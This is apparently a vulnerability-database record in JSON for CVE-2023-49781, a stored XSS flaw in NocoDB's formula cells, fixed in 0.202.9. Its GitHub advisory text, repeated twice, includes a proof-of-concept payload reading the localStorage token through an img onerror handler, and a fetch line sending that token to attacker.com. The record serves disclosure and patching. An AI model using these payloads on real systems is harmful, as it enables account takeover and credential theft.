{"id":"CVE-2023-49781","aliases":["EUVD-2024-1640","GHSA-h6r4-xvw6-jc5h"],"status":"published","title":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","description":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00606,"percentile":0.49319,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2024-05-13T18:54:54Z","modified":"2026-10-28T02:31:11Z","fixes":[{"ecosystem":"npm","package":"nocodb","fixed_in":["0.202.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nocodb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.202.8"},{"fixed":"0.202.9"}]}]},{"source":"osv","ecosystem":"npm","package":"nocodb","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.202.9"}]}]}],"products":[{"vendor":"nocodb","product":"nocodb"}],"references":[{"url":"https://github.com/nocodb/nocodb/security/advisories/GHSA-h6r4-xvw6-jc5h","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nocodb/nocodb/commit/7f58ce3726dfec71537d8b80474a0f95a48a1574","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49781","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h6r4-xvw6-jc5h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49781.json","tags":["advisory"]},{"url":"https://github.com/nocodb/nocodb","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-49781","title":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","description":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.\n","status":"published","published":"2024-05-13T18:54:54.196Z","modified":"2024-08-02T22:01:25.824Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:35:12.998024Z"}],"euvd":[{"id":"EUVD-2024-1640","description":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.\n","status":"published","published":"2024-05-13T18:54:54Z","modified":"2024-08-02T22:01:25Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T03:49:55.731961Z"}],"ghsa":[{"id":"GHSA-h6r4-xvw6-jc5h","title":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","description":"### Summary\nA stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.\n\n### Details\nThe nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is \u003cimg src=1 onerror=\"malicious javascripts\"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.\n\n### PoC\nStep 1: Attacker login the nocodb and creates a table with two fields, \"T\" and \"F\". The type of field \"T\" is \"SingleLineText\", and the type of the \"F\" is \"Fomula\" with the formula content {T}\nStep 2: The attacker sets the contents of T using \u003cimg src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)\nStep 3: The attacker clicks the \"Share\" button and enables public viewing, then copies the shared link and sends it to the victims\nStep 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage\n\nThe attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website.\n\n### Impact\nStealing the credentials of NocoDB user that clicks the malicious link.","status":"published","published":"2024-05-13T19:59:07Z","modified":"2025-08-21T19:15:39Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:54.795089Z"}],"nvd":[{"id":"CVE-2023-49781","description":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.\n","status":"published","published":"2024-05-14T14:06:05.637Z","modified":"2026-06-17T06:36:27.293Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:09:15.329996Z"}],"osv":[{"id":"CVE-2023-49781","title":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","description":"NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.\n","status":"published","published":"2024-05-13T18:54:54.196Z","modified":"2026-10-28T02:31:11.13289025Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"GHSA-h6r4-xvw6-jc5h","title":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","description":"### Summary\nA stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.\n\n### Details\nThe nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is \u003cimg src=1 onerror=\"malicious javascripts\"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.\n\n### PoC\nStep 1: Attacker login the nocodb and creates a table with two fields, \"T\" and \"F\". The type of field \"T\" is \"SingleLineText\", and the type of the \"F\" is \"Fomula\" with the formula content {T}\nStep 2: The attacker sets the contents of T using \u003cimg src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)\nStep 3: The attacker clicks the \"Share\" button and enables public viewing, then copies the shared link and sends it to the victims\nStep 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage\n\nThe attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website.\n\n### Impact\nStealing the credentials of NocoDB user that clicks the malicious link.","status":"published","published":"2024-05-13T19:59:07Z","modified":"2025-08-21T19:15:36Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:48.546324Z"}]}}